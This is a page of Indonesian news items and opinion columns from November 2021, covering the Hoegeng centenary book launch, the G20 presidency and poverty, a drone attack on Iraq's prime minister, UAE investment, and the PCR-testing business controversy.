Jakarta, FNn - Istri dari Kapolri kelima periode 1968 hingga 1971 Jenderal Polisi Drs. Hoegeng Imam Santoso, Meriyati Roeslani mengatakan keteladanan dari almarhum suaminya akan abadi dan dikenang oleh masyarakat seperti halnya kasih sayang mereka berdua. "Hoegeng sudah lama pergi, tapi keteladanannya abadi seperti halnya kasih sayang kami," kata dia melalui video singkat yang ditayangkan saat peluncuran buku berjudul "Dunia Hoegeng, 100 Tahun Keteladanan" dalam rangka 100 tahun Pak Hoegeng yang ditulis oleh wartawan senior Farouk Arnaz di Jakarta, Ahad, 7 November 2021. Merry, sapaan akrabnya tidak bisa hadir secara langsung saat peluncuran buku yang berisi sosok suami tercintanya. Ketidakhadirannya dikarenakan kondisi kesehatan dan pandemi Covid-19. "Saya sebenarnya ingin menghadiri acara istimewa ini yang menjadi penanda 100 tahun suami saya tercinta. Namun, kesehatan dan pandemi membatasi pergerakan saya," kata dia, sebagaimana dikutip dari Antara. Akan tetapi, ia mengaku tetap bangga dan bahagia atas peluncuran buku tersebut. Apalagi dihadiri langsung serta diwakili oleh anak-anak dan cicit-cicit Hoegeng yang dikenal kerap menggunakan sepeda ontel saat bertugas. "Sekali lagi, dari lubuk hati yang terdalam saya menyampaikan terima kasih," ujarnya. Buku berjudul "Dunia Hoegeng, 100 Tahun Keteladanan" ditulis oleh wartawan senior Farouk Arnaz. Isisnya menceritakan tentang kisah-kisah humanis dari sosok Kapolri kelahiran 14 Oktober 1921 tersebut. Buku tersebut menceritakan tentang sosok Hoegeng Imam Santoso yang meninggalkan warisan mempertahankan prinsip, menjaga integritas, dan dedikasi. Kisahnya menceritakan tentang keteguhan menjabat mulai 1968 hingga 1971. Ia adalah sosok langka yang sulit dicari padanannya mulai dulu hingga kini. Tidak hanya sendiri, Hoegeng juga mengajak serta keluarganya terjun memasuki kehidupan yang penuh idealisme dan antikompromi. Hoegeng tidak mau berkhianat dan berkongsi dengan kebatilan. Ia menjaga nama baik dan sumpah dengan perbuatan nyata bukan sekadar kata-kata. Sepak terjang Hoegeng yang tidak bisa disetir membuat gerah para "tuan besar" sehingga ia kehilangan jabatannya. Namun, Hoegeng tak pernah menyesali langkahnya. (MD).

Indonesia, G20, dan Kemiskinan

Oleh Radhar Tribaskoro INDONESIA jangan gampang bangga. Jabatan presiden G20 itu giliran, siapapun anggotanya pasti dapat. Jabatan itu pun baru berlaku 2022, bukan sekarang. Puja-puji para buzzer dan beberapa media nasional dalam hal ini, sungguh sangat tidak pada tempatnya. Indonesia sudah menjadi anggota G20 sejak didirikan tahun 1999. Pada waktu itu G20 hanya menyangkut pertemuan Menteri-menteri Keuangan dan Gubernur Bank Sentral. Tujuannya adalah untuk mengantisipasi tidak terjadi lagi krisis ekonomi 1998. G20 beranggotakan 19 negara plus Uni Eropa. Anggota-anggota dipilih berdasar kepada ukuran ekonomi, jumlah penduduk, dan pertimbangan lain. Belanda dan Spanyol punya ukuran ekonomi yang besar tetapi mereka menjadi anggota di bawah naungan Uni Eropa. Thailand memiliki ukuran ekonomi lebih tinggi dari Afrika Selatan, tetapi Afsel yang dipilih menjadi anggota demi mewakili benua Afrika. Tahun 2008 G20 telah berkembang sehingga pengelolaannya dirasa perlu melibatkan presiden atau kepala negara. Tahun itu diselenggarakan KTT G20 yang pertama di Washington DC, Amerika Serikat. Presiden Susilo Bambang Yudoyono hadir dalam pertemuan itu (lihat foto). Jadi tidak benar bahwa keanggotaan Indonesia di G20 dimulai sejak pemerintahan Presiden Jokowi. Pada tahun 2022 Indonesia menjadi Presiden G20 ke-14, jadi memang sudah waktunya. Menjadi anggota G20 juga tidak usah bangga. Ukuran ekonomi kita termasuk 20 besar karena penduduk kita besar. Namun bila dihitung secara pendapatan per kapita, kita ada di urutan terbawah kedua, setelah India yang penduduknya semilyar lebih. Pendapatan per kapita kita hanya 1/7 dari pendapatan per kapita Korea Selatan yang di urutan ke-10 dan 1/15 pendapatan per kapita Amerika Serikat yang berada di puncak G20. Jadi saya lebih melihat keanggotaan Indonesia di G20 sebagai kesempatan, bukan kehormatan. Saya kira kita tidak perlu kebanggaan palsu. Kita akui saja, kita negara miskin. Kita bahkan tidak lebih baik daripada India yang nyata pendapatan per kapitanya hanya sekitar separuh kita. India memiliki kapasitas dan ekspor produk industri yang sangat kuat. Ketika tahun 2020 ekonomi seluruh dunia ambruk, India sendirian tumbuh 7,8%. Eksekutif keturunan India bertebaran di hampir semua perusahaan Fortune 500. Tidak diragukan India akan tampil sebagai kekuatan industri dan informatika yang besar di masa datang. Hal itu sejalan dengan semakin banyaknya prestasi kelas dunia di bidang sains dan humaniora. Sekarang setidaknya 5 orang warganegara India tercatat sebagai pemenang Hadiah Nobel di bidang fisika, kesusastraan, ekonomi dan perdamaian. Di luar itu ada 4 orang keturunan India namun warganegara lain juga telah memenangi Hadiah Nobel. Dalam hemat saya kita tidak punya hak untuk berbangga. Sebagai bangsa yang sudah 76 tahun merdeka kita masih menghadapi kemiskinan massal yang menggiriskan. Gatot Nurmantyo dalam diskusi Evaluasi 7 tahun pemerintahan Jokowi 21 Oktober 2021, mengutip Bank Dunia, menyebutkan jumlah orang miskin di Indonesia mencapai 27 juta. Angka itu sesuai standar Bank Dunia yang menetapkan garis kemiskinan pada penghasilan $1.9/hari, untuk negara-negara berpendapatan rendah. Standar Bank Dunia itu meningkat untuk negara berpendapatan menengah bawah menjadi $3.2/hari, dan negara berpendapat menengah atas sebesar $5.5/hari. Indonesia dengan pendapatan per kapita rata-rata $4500/tahun sudah termasuk negara berpendapatan menengah bawah. Pada tingkatan ini orang miskin di Indonesia (pendapatan per kapita $3.2/hari) berjumlah 57,6 juta orang atau 31,5% dari jumlah populasi. Sementara itu bila dibandingkan dengan Vietnam dan Thailand, persentase penduduk miskin (dengan standar $3.2/hari) di Vietnam hanya 6,6%, sementara Thailand hanya 0,6%. Kembali ke pernyataan Gatot Nurmantyo, pembangunan ekonomi di Indonesia dalam 7 tahun terakhir, sama sekali tidak memihak kepada penduduk miskin! Bila ditatap lebih seksama, ekonom Antoni Budiawan menyebutkan bahwa 6,6 juta penduduk Indonesia di 29 kabupaten/kota termasuk penduduk termiskin di dunia dengan penghasilan kurang dari $1.000/kapita. Kabupaten Pegunungan Arfak di Papua adalah kabupaten termiskin nomor dua di dunia dengan pendapatan per kapita $329, hanya sedikit di atas negara termiskin Burundi yang berpendapatan $293/kapita. Sekali lagi, kita tidak punya hak berbangga. Kita harus akui bila kita negara miskin. Kita tidak sok hebat, kita tidak gentar berada di panggung dunia lantaran kita punya martabat. Martabat itu mengatakan bahwa "Sekalipun miskin kita tidak butuh siapapun menolong. Kita akan membangun bangsa kita dengan kekuatan sendiri". Hal itu tidak sukar sepanjang seluruh potensi negara ini diarahkan demi kemaslahatan rakyat. Saya cenderung kehadiran kita di G20 sebagai peluang. Pertama, ini adalah peluang kita untuk menciptakan arsitektur keuangan dunia yang lebih berkeadilan, yang membuka peluang lebih besar dan luas bagi bermilyar penduduk miskin di dunia untuk memperbaiki nasibnya. Kedua, peluang untuk berkontribusi kepada dunia karena dari sanalah orang sedunia menghormati kita. Walau kita miskin kita tidak rugi menyumbang kepada kepentingan dunia. Kepentingan dunia itu hadir saat ini: mengendalikan perubahan iklim. Iklim dunia memang rusak akibat proses industrialisasi yang tidak terkendali di negara-negara maju. Namun hal itu tidak boleh mencegah kita untuk mendukung pencegahan kerusakan alam lebih lanjut. Itu hal terhormat yang bisa kita lakukan. Hal yang paling tidak terbayang bagi saya adalah mengumbar informasi palsu seakan-akan kita telah menjalankan agenda-agenda dunia berkenaan dengan mitigasi perubahan iklim dan menjalankan standar pembangunan berkelanjutan, padahal bohong. Saya juga tidak bisa membayangkan perjanjian telah ditandatangani presiden lantas dianulir oleh menteri-menteri sendiri. Hal itu sungguh TIDAK TERHORMAT! Sungguh perbuatan memalukan dan sangat tidak bisa dibanggakan.

Perdana Menteri Irak Selamat Dalam Serangan Drone di Kediamannya

Baghdad, FNN - Sebuah pesawat nirawak (drone) dengan bahan peledak menyasar kediaman Perdana Menteri Irak Mustafa al-Kadhimi di Baghdad, Ahad pagi. Militer Irak mengatakan Khadimi selamat tanpa terluka dalam serangan yang mereka sebut sebagai percobaan pembunuhan itu. Namun, sejumlah anggota pasukan pengamanan Khadimi terluka dalam peristiwa itu, kata sumber keamanan. Serangan itu terjadi menyusul serangkaian aksi protes di ibu kota Irak atas hasil pemilihan umum bulan lalu yang berujung pada kekerasan. Departemen Luar Negeri Amerika Serikat mengutuk serangan itu dan menawarkan bantuan penyelidikan. "Aksi terorisme yang nyata ini, yang sangat kami kutuk, diarahkan ke jantung negara Irak," kata juru bicara Ned Price dalam sebuah pernyataan, sebagaimana dikutip dari Antara. "Kami berhubungan erat dengan pasukan keamanan Irak yang bertugas menegakkan kedaulatan dan kemerdekaan Irak dan telah menawarkan bantuan dalam menyelidiki serangan ini." Kelompok-kelompok yang memimpin protes dan keluhan tentang hasil pemilu 10 Oktober adalah para milisi bersenjata dukungan Iran. Mereka kehilangan banyak suara parlemen pada pemilu itu dan telah menuduh adanya kecurangan dalam pemilihan dan penghitungan suara. Belum ada kelompok yang mengaku bertanggung jawab atas serangan di kediaman Khadimi di Zona Hijau Baghdad, kompleks gedung pemerintah dan kedutaan asing yang dijaga sangat ketat. Pernyataan militer Irak menyebutkan serangan itu menyasar kediaman Khadimi dan dia berada dalam kondisi "kesehatan yang baik". Tidak ada penjelasan lebih rinci dalam pernyataan itu. Akun Twitter resmi Kadhimi mengatakan perdana menteri selamat dan meminta publik untuk tenang. Dua pejabat pemerintah mengatakan kediaman Kadhimi telah dihantam oleh sedikitnya satu ledakan dan mengonfirmasi kepada Reuters bahwa perdana menteri selamat. Sumber keamanan mengatakan kepada Reuters bahwa enam anggota pasukan pengamanan Khadimi yang berjaga di luar kediamannya mengalami luka-luka. Diplomat Barat di Zona Hijau yang berada di sekitar lokasi kejadian mengatakan mereka mendengar ledakan dan tembakan di kawasan itu. Pendukung kelompok milisi dukungan Iran, yang selama beberapa tahun terakhir mengembangkan kekuatan politik di parlemen dan pemerintahan, memprotes hasil pemilu Oktober. Aksi protes yang mereka gelar pada Jumat berubah jadi kekerasan ketika para demonstran melempari polisi dengan batu dekat Zona Hijau sehingga melukai sejumlah petugas. Polisi membalas dengan gas air mata dan tembakan sehingga menewaskan sedikitnya seorang demonstran, menurut sumber keamanan dan rumah sakit di Baghdad. Analis independen mengatakan hasil pemilu adalah cermin dari kemarahan terhadap milisi-milisi dukungan Iran. Kelompok-kelompok bersenjata itu dituduh terlibat dalam pembunuhan hampir 600 orang yang turun ke jalan untuk berdemonstrasi anti-pemerintah di sejumlah tempat pada 2019. (MD).

Di Tangan Panglima Baru, Ketua DPD RI Berharap TNI Semakin Profesional dan Diperhitungkan

Surabaya, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattalitti, mengucapkan selamat kepada Calon Panglima TNI, Jenderal Andika Perkasa, yang telah lolos uji kepatutan dan kelayakan serta disetujui Komisi I DPR RI. Jenderal Andika Perkasa merupakan calon tunggal Panglima TNI yang diusulkan Presiden Joko Widodo. Beliau akan menggantikan Marsekal Hadi Tjahjanto, yang akan pensiun dalam waktu dekat. Di bawah kepemimpinan Andika Perkasa, LaNyalla berharap TNI semakin profesional dan semakin dekat dengan rakyat. "Kepada TNI, masyarakat juga menaruh harapan besar, tidak hanya terkait dengan kedaulatan bangsa tetapi juga mampu mewujudkan keamanan dan mengatasi berbagai macam konflik yang terjadi," kata LaNyalla, Minggu (7/11/2021). Di samping itu, kata LaNyalla, Panglima yang baru harus memastikan tugas pokok TNI berjalan dengan baik. Bisa menegakkan kedaulatan, mempertahankan keutuhan wilayah NKRI, juga melindungi bangsa ini dari berbagai ancaman. "Sebagai komponen utama di tengah masyarakat, TNI diharapkan berkontribusi membantu negara untuk menyelesaikan persoalan-persoalan, ancaman dan tantangan ke depan yang akan dihadapi oleh bangsa dan negara," imbuhnya. Terpenting, TNI harus mampu memainkan peran dalam mengantisipasi berbagai dinamika dan perkembangan geopolitik yang sangat dipengaruhi oleh siber dan teknologi. "Aspek siber, kemudian intelijen sangat penting di era sekarang. Dimana pada era globalisasi ini ancaman di dunia maya tak kalah besar dibanding di dunia nyata. Artinya selain ancaman perang fisik ada juga ancaman perang siber dengan kemajuan teknologi, kecerdasan buatan, robotik, dan sejenisnya," tutur Senator asal Jawa Timur itu. LaNyalla juga berharap kekuatan TNI semakin disegani di kawasan Asia Tenggara, bahkan di seluruh dunia. "Ini tantangan bagi Panglima yang baru. Harus bisa mewujudkan kekuatan TNI yang diperhitungkan oleh negara manapun, baik dari alutsista maupun SDM-nya," jelas LaNyalla.(RAN)

Kemenperin: Investasi Gula UEA Hasilkan Produk Turunan Bioetanol

Dubai, FNN - Plt Dirjen Industri Agro Putu Juli Ardika menyampaikan rencana investasi Al Khaleej Sugar Co (AKS) dari Uni Emirat Arab di Indonesia berpotensi menghasilkan produk turunan, yaitu bioetanol yang dapat dimanfaatkan sebagai sumber energi baru dan terbarukan serta substitusi bahan bakar minyak. “Hasil samping proses produksi gula tebu yang dapat dimanfaatkan sebagai sumber energi baru dan terbarukan antara lain bioetanol untuk substitusi BBM dari minyak bumi, dan biomassa dari bagas tebu sebagai sumber energi pembangkit tenaga listrik,” kata Putu di Dubai, UEA, Minggu. Putu menyampaikan bahwa pihaknya akan memfasilitasi rencana investasi AKS yang saat ini menjadiprodusen terbesar gula di kawasan Timur Tengah dan lima besar dunia. "Jika terwujud, investasi ini akan membantu pemenuhan kebutuhan gula nasional dan juga kebutuhan energi di Sulawesi dan kawasan Timur Indonesia," sebut Putu. Putu juga menjelaskan bahwa rencana investasi AKS selain produksi gula, juga memproduksi sumber energi alternatif dari produk samping pengolahan gula tebu. Putu optimistis, investasi AKS di Indonesia akan dapat membantu pemenuhan gula dalam negeri, mendukung program substitusi impor, dan memproduksi energi baru terbarukan yang ramah lingkungan. "Karena dia besar investasinya, dia mau memproduksi sekitar 750.00 ton per tahun. Dia sangat tertarik dan kita sedang membuat langkah-langkahnya supaya dia bisa berinvestasi," tuturnya. Guna mendorong investasi raksasa gula Uni Emirat Arab (UEA) itu, lanjut Putu, Kemenperin telah mengundang pihak AKS untuk datang ke Indonesia dan melihat potensi tersebut. “Untuk menghasilkan tebu sebanyak 750 ribu ton tersebut, dibutuhkan sekitar 100 ribu hektar lahan tebu,” ungkapnya. Saat ini, lahan yang diproyeksikan untuk ditanami tebu itu terdapat di Sulawesi. Selain memproduksi gula, AKS juga tertarik dengan produk turunan lainnya dari tebu, yakni biomassa yang dapat dijadikan energi listrik dan etanol untuk pencampuran bahan bakar. "Biomassa merupakan produk samping gula dengan jumlah mencapai 30 persen dari setiap produksi gula. Etanol ini terbuat dari produk samping proses gula yang bernama molasis dengan jumlah sebesar 4 persen,” jelasnya. Putu menambahkan etanol berperan untuk meningkatkan oktan bahan bakar. Umumnya untuk kendaraan roda empat sudah bisa menggunakan bahan bakar dengan kandungan etanol 20 persen, sementara kendaraan roda dua 10 persen. “Di dalam negeri sendiri, kebutuhan etanol masih sangat besar dan belum dipenuhi oleh produksi dalam negeri,” tandasnya. Sejalan dengan rencana investasi AKS, pemerintah pun berkeinginan untuk menjadikan industri gula nasional dapat menerapkan teknologi Industri 4.0 dan lebih lebih ramah terhadap lingkungan. Melalui teknologi industri 4.0 atau digitalisasi, akan terjadi efisiensi yang pada gilirannya akan memberi nilai tambah bagi produk-produk Indonesia, termasuk gula. (mth)

Kabaharkam Polri: Sosok Hoegeng Pacu Polisi Jujur dan Jaga Integritas

Jakarta, FNN - Nilai-nilai teladan dari Kapolri ke-5 Jenderal Pol (Purn) Hoegeng Iman Santoso terus memacu anggota Kepolisian Republik Indonesia untuk senantiasa jujur dan menjaga integritas, kata Kepala Badan Pemelihara Keamanan (Kabaharkam) Polri Komjen Pol Arief Sulistyanto. Menurut Arief, kejujuran dan integritas Hoegeng Iman Santoso merupakan nilai-nilai yang harus lestari di kepolisian. “(Sikap dan perbuatan Hoegeng, Red.) bisa menginspirasi saya, bagaimana meneruskan nilai-nilai integritas yang ditanamkan beliau terutama kepada keluarganya, dan bagaimana beliau menanamkan integritas kepada dirinya untuk mengelola organisasi (kepolisian) ini,” kata Arief saat menyampaikan pandangannya soal sosok Hoegeng saat peringatan 100 tahun mendiang Kapolri ke-5 itu di Jakarta, Minggu. Arief, yang saat itu hadir mewakili Kapolri Jenderal Pol Listyo Sigit Prabowo, lanjut menyampaikan pandangannya bahwa kejujuran yang dipraktikkan oleh Hoegeng berakar dari keberanian. “Kejujuran itu tidak dapat dilakukan kalau tidak ada keberanian. (Hoegeng) seorang yang bukan hanya jujur, tetapi dia juga berani jujur. Itu berarti dia juga berani berkorban, mengorbankan kepentingannya dengan semua privilese yang dimiliki,” terang Arief. Keberanian Hoegeng untuk selalu jujur itu jadi penyemangat tersendiri bagi Kabaharkam Polri dalam menjalankan tugas. “Ini jadi pemacu bagi diri saya pribadi, teman-teman saya yang masih aktif, adik-adik, bahwa (dengan) bersikap jujur dan menjaga integritas ternyata Pak Hoegeng bisa jadi Kapolri, walaupun dengan berbagai macam tantangan, godaan, beliau mampu,” sebut Kabaharkam Polri. Dalam kesempatan itu, Arief yakin banyak polisi yang berusaha keras untuk menjaga integritasnya dan meniru nilai-nilai hidup Hoegeng Iman Santoso. “Banyak Hoegeng-Hoegeng masa kini yang berjuang menegakkan integritasnya, meniru apa yang sudah ditanamkan Pak Hoegeng. Tetapi, itu kembali lagi pada pribadi mereka, kembali lagi pada pimpinan Polri saat ini dan masa depan untuk mampu menanamkan nilai-nilai yang ditanamkan Pak Hoegeng sehingga nilai-nilai itu inheren, hidup, dan lestari di Kepolisian,” terang Arief Sulistyanto pada acara peringatan 100 Tahun Hoegeng. Dalam acara itu, pihak keluarga Hoegeng meluncurkan buku “Dunia Hoegeng, 100 Tahun Keteladanan”. Buku itu, yang ditulis oleh Farouk Arnaz, merupakan hasil prakarsa putra pertama Hoegeng, Aditya Hoegeng bersama Kabaharkam Polri Komjen Pol Arief Sulistyanto. (mth)

Indonesia Raih 44,6 Miliar Dolar AS Komitmen Investasi dari UEA

Jakarta, FNN - Indonesia berhasil meraih komitmen investasi senilai 44,6 miliar dolar AS atau setara Rp642, 2 triliun (kurs Rp14.400 per dolar AS) dari kunjungan ke Uni Emirat Arab (UEA). Menteri Investasi/Kepala Badan Koordinasi Penanaman Modal (BKPM) Bahlil Lahadalia dalam keterangan tertulis di Jakarta, Minggu, menyatakan kesiapannya untuk menyambut investasi dari UEA dengan menekankan pada tiga poin yaitu investasi energi terbarukan, investasi membangun industri yang berbasis pengelolaan lingkungan yang baik dan investasi dengan kolaborasi yang baik. "Dalam rangka melakukan respons cepat untuk mewujudkan konsep investasi bersama antara Indonesia dan UEA, kami telah diperintahkan mengurus seluruh hal terkait perizinan dan fasilitasi lain yang dibutuhkan investor UEA di Indonesia. Di bawah pimpinan Presiden serta Menko Kemaritiman dan Investasi, kami akan melakukan percepatan-percepatan untuk mewujudkan visi besar kedua negara," katanya. Bahlil sendiri turut mendampingi Presiden Joko Widodo pada kegiatan Forum Bisnis Indonesia-Uni Emirat Arab (UEA) di Dubai, UEA, Kamis (4/11). Pertemuan bisnis itu dihadiri oleh sembilan perusahaan UEA yang sudah memiliki minat investasi ke Indonesia baik untuk investasi baru maupun untuk perluasan. Beberapa perusahaan yang hadir menyampaikan komitmennya untuk menanamkan modal di Indonesia menambahkan perjanjian b-to-b (business-to-business) yang sudah dipertukarkan di depan pimpinan kedua negara. Beberapa yang menyampaikan komitmen di antaranya Al Dahra Group (produk turunan susu), Yas Holding (agrikultur), Emirates Global Alumunium (smelter alumunium), Damac Properties (properti), dan AMEA Power (energi terbarukan). Secara total, komitmen investasi selama kunjungan di UEA mencapai 44,6 miliar dolar AS, termasuk nilai investasi dari Nota Kesepahaman antara Kementerian Investasi/BKPM dengan Air Products dari Amerika Serikat senilai 15 miliar dolar AS. Presiden Joko Widodo, dalam forum tersebut, juga menegaskan komitmen pemerintah Indonesia untuk melakukan hilirisasi dan menghentikan proses ekspor produk mineral mentah ke pasar internasional. "Kami akan terus melarang ekspor produk mineral mental, setelah alumunium dan nikel, mungkin nanti tembaga, ini agar investor membangun industri nilai tambah di Indonesia," ujar Presiden saat menanggapi rencana Emirates Global Alumunium (EGA) untuk menanamkan modalnya di Indonesia bermitra dengan PT Inalum (persero). Sementara itu, Menteri Energi dan Industri UEA Suhail Mohammed Al Mazrouei yang mewakili pemerintah UEA menyatakan apresiasinya atas hubungan yang sangat dekat antar kedua pemimpin negara, bahkan sudah seperti saudara. Suhail menyampaikan bahwa UEA ingin bekerja sama dengan Indonesia, bukan hanya karena Indonesia yang besar dengan komunitas muslim terbesar, namun Indonesia punya kapabilitas, sumber daya serta posisi strategis di tatanan internasional. "Kami memiliki target yang tinggi dari kerja sama yang ditandatangani hari ini. Pemerintah UEA memiliki minat tersendiri akan pembangunan ibu kota baru Indonesia. Di samping itu kami juga melihat minat dari sektor swasta UEA. Kami memerlukan bimbingan dari Presiden Jokowi dan jajaran menteri agar komitmen kami dapat terwujud dengan baik," ungkap Suhail. Berdasarkan catatan Kementerian Investasi/BKPM, realisasi investasi asal UEA di Indonesia pada Januari-September 2021 sebesar 7,8 juta dolar AS. Sementara akumulasi realisasi investasi asal UEA di Indonesia tahun 2016-triwulan III 2021 mencapai 250,7 juta dolar AS dan berada pada peringkat ke-27. Investasi asal UEA didominasi sektor tanaman pangan dan perkebunan dengan total realisasi sebesar 109,0 juta dolar AS (43,5 persen), serta 71 persen total realisasi investasi UEA di Indonesia berlokasi di luar pulau Jawa. (mth)

Pemerintah Berdayakan UMKM Halal Lewat Teknologi Digital

Jakarta, FNN - Pemerintah terus memberdayakan UMKM halal melalui pemanfaatan teknologi digital yang akan menjadi kekuatan besar dan berdampak signifikan bagi peningkatan perekonomian nasional dan kesejahteraan masyarakat. Deputi Bidang Koordinasi Ekonomi Digital, Ketenagakerjaan, dan UMKM Kemenko Perekonomian Rudy Salahuddin menyampaikan bahwa pengembangan industri halal perlu dilakukan secara inklusif dengan mengoptimalkan potensi UMKM yang saat ini diperkirakan mencapai 64,2 juta unit usaha. “Pemerintah terus mendorong pendampingan terintegrasi dan berkelanjutan diantaranya melalui sinergi peran Pusat Layanan Usaha Terpadu K-UMKM di daerah dengan program pendampingan yang dilaksanakan Kementerian/Lembaga dan platform digital,” ujarnya dalam keterangan resmi yang diterima di Jakarta, Minggu. Rudy menjelaskan Kementerian Koordinator Bidang Perekonomian mendorong sinergi program antara Kementerian/Lembaga (K/L), Pemerintah, dan platform digital untuk mengakselerasi UMKM halal go-digital melalui ”Program Pelatihan Digitalisasi Pemasaran dan Manajemen Produk Halal bagi 1000 Usaha Mikro, Kecil, dan Menengah di Provinsi Sumatera Barat”. Program tersebut merupakan kolaborasi antara Kementerian Koperasi dan UKM, BPJPH Kementerian Agama, dan Pemerintah Provinsi Sumatera Barat yang didukung oleh 4 platform digital yaitu Tokopedia, Blibli, Bukalapak, dan LinkAja Syariah. Pelatihan yang telah dibuka secara resmi oleh Gubernur Sumatera Barat Mahyeldi pada Senin (1/11) di Kota Padang tersebut diharapkan dapat membuat UMKM di Sumatera Barat semakin berkembang. “Adanya kolaborasi antara Pemerintah Pusat, daerah, dan pihak swasta diharapkan membuat UMKM di Provinsi Sumatera Barat dapat semakin berkembang. Program pelatihan ini, erat kaitannya dengan visi misi 5 tahun ke depan Pemerintah Provinsi Sumatera Barat,” ujar Mahyeldi. Pada kesempatan yang sama Kepala BPJPH Muhammad Aqil Irham menyampaikan bahwa kemudahan pengajuan sertifikasi halal yang sudah full online diharapkan dapat meningkatkan minat pelaku UMKM untuk mengurus sertifikasi halal. "Proses pengajuan sertifikasi halal dilaksanakan penuh secara online, termasuk sertifikasi halal yang dikeluarkan dalam bentuk sertifikat digital. Diharapkan mampu mempercepat layanan sertifikasi halal dan meningkatkan aksesibilitas, transparansi serta akurasi data yang lebih tinggi dibandingkan dengan sistem manual,” ujar Aqil. Adapun pemberdayaan UMKM halal melalui pemanfaatan teknologi digital diprediksi akan menjadi kekuatan besar yang berdampak signifikan bagi peningkatan perekonomian nasional dan kesejahteraan masyarakat. Hal tersebut dikarenakan penduduk muslim di Indonesia merupakan mayoritas dari jumlah penduduk yang ada, yaitu sebesar 87 persen dari total penduduk atau sekitar 236,53 juta orang. Jumlah tersebut setara dengan 12,70 persen dari seluruh penduduk muslim yang ada di dunia. (mth)

Itu Bukan Salah Luhut Panjaitan atau Erick Thohir

By Asyari Usman Apa-apa, Luhut. Sedikit-sedikit, Luhut. Jabatannya bertimbun-timbun. Hampir tidak ada bidang yang tak mengikutkan Luhut Binsar Panjaitan (LBP). Invetasi, Luhut. Infrastruktur, Luhut. Ibukota baru, Luhut. Kereta cepat Jakarta-Bandung, Luhut juga. Penangangan Covid-19, dia lagi. Sampai ke urusan tes PCR-nya sekalian. Sekarang ini, para pendukung Jokowi banyak yang jengkel. Marah-marah melihat kondisi negara dan rakyat. Saking jengkelnya, ketua relawan Jokowi Mania (Jokma), Immanuel Ebenezer, mengatakan di salah satu talk-show bahwa para pejabat yang terlibat bisnis PCR harus dihukum mati. Immanuel merujuk ke skandal penyediaan tes PCR (polymerase chain reaction) oleh konsorsium sejumlah perusahaan yang tergabung dalam PT Genomik Solidaritas Indonesia (GSI). Namanya memang sosialis sekali. Seolah ingin membantu rakyat dalam urusan tes PCR itu.Tapi, setelah sejumlah media mainstream melakukan investigasi, ternyata GSI mengumpulkan laba yang sangat besar dari bisnis di tengah bencana itu. Ratusan miliar. Mungkin triliunan. Luhut mengatakan, dia tidak mengambil untung dari kegiatan GSI. Dia mengatakan, GSI hadir untuk membantu. Selain Luhut, yang juga terindikasi berbisnis PCR adalah Menteri BUMN Erick Thohir. Ada perusahaan besar, Adaro, milik Garibaldi Thohir (Boy Thohir) di GSI. Ada pula ketua umum Kadin, Arsjad Rasjid. Dan banyak lagi. Nah, salah siapa? Apakah itu salah Luhut dan Erick? Bukan. Itu bukan salah Luhut dan Erick. Itu salah kalian yang memilih Jokowi menjadi presiden. Itu kesalahan kalian yang berjuang mati-mati mendudukkan Jokowi di Istana. Kalian sebetulnya sudah tahu bahwa Jokowi tidak akan bisa memimpin pemerintahan. Dia malah “dipimpin” oleh kelompok oligarki bisnis yang bersekongkol dengan oligarki politik, khususnya dengan simpul-simpul kekuasaan. Jokowi bukan “bertugas” untuk rakyat. Dia “ditugaskan” oleh dua kelompok oligarki yang sangat berkuasa itu. Jadi, tak mengherankan kalau roda pemerintahan berjalan amburadul selama kepresidenan Jokowi tujuh tahun ini. Tak mengherankan pula kalau dia sangat bergantung pada Luhut. Sehingga, kekuasaan pemerintahan menumpuk di tangan Menko Semua Urusan itu. Ketika sekarang terbongkar keikutsertaan Luhut dan Erick dalam bisnis tes PCR, tidak perlu kaget. Kedua menteri ini adalah pengusaha. Prinsip utama pengusaha adalah mencari peluang. Di mana pun itu dan dengan menggunakan apa pun juga. Luhut, Erick dan para pengusaha lainnya melihat di tengah wabah Corona ada peluang bisnis. Mereka tangkap peluang itu. Kebetulan keduanya punya kekuasaan dan modal. Muncullah ide GSI. Mereka bisa atur sendiri apa yang mereka inginkan dan bagaimana cara menunaikan keinginan itu. Banyak yang berkomentar Luhut dan Erick melanggar etika alias moralitas. Juga melanggar pantangan “conflict of interest” (benturan kepentingan). Intinya, menjadi pejabat tinggi tidak boleh berbisnis. Apalagi berbisnis di tengah penderitaan rakyat. Sangat, sangat tak beretika. Tak bermoral. Tapi, apakah Anda masih berharap para pengusaha di Indonesia ini memiliki etika dan moral? Apakah Anda mengimpikan para pengusaha yang sekaligus menjadi penguasa masih sempat memikirkan etika dan moralitas? Jadi, itu semua bukan salah Luhut Panjaitan. Bukan pula salah Erick Thohir.[] (Penulis wartawan senior FNN)

JBI Tanam Bibit Pohon Bambu di Bantaran Sungai Ogan

Baturaja, FNN - Lembaga lingkungan hidup Jejak Bumi Indonesia (JBI) Kabupaten Ogan Komering Ulu, Sumatera Selatan, mengadakan kegiatan penanaman bibit pohon bambu di daerah bantaran Sungai Ogan. JBI menyiapkan 2.000 bibit pohon bambu untuk ditanam di 30 titik di bantaran Sungai Ogan di Kabupaten Ogan Komering Ulu (OKU). "Gerakan tanam pohon bambu ini dilakukan serentak di Kabupaten OKU," kata Pendiri JBI OKU Hendra Setyawan di Baturaja, Minggu. "Titik penanamannya di bantaran daerah hulu sungai," katanya. Bibit pohon bambu antara lain ditanam di wilayah Kecamatan Muara Jaya, Pengandonan, Lubuk Batang, Sosoh Buay Rayap, Ulu Ogan, dan Semidang Aji. Dia menjelaskan, penanaman bibit pohon bambu di daerah bantaran sungai merupakan bagian dari upaya untuk menghijaukan daerah aliran sungai (DAS). "Jenis tanaman ini memiliki daya serap air yang tinggi sehingga diharapkan dapat mencegah bencana banjir dan tanah longsor akibat luapan Sungai Ogan," katanya. Ia menambahkan, penanaman pohon bambu di daerah bantaran sungai juga diharapkan bisa mendatangkan manfaat bagi warga sekitar. (mth)

Keluarga Luncurkan Buku "Dunia Hoegeng, 100 Tahun Keteladanan"

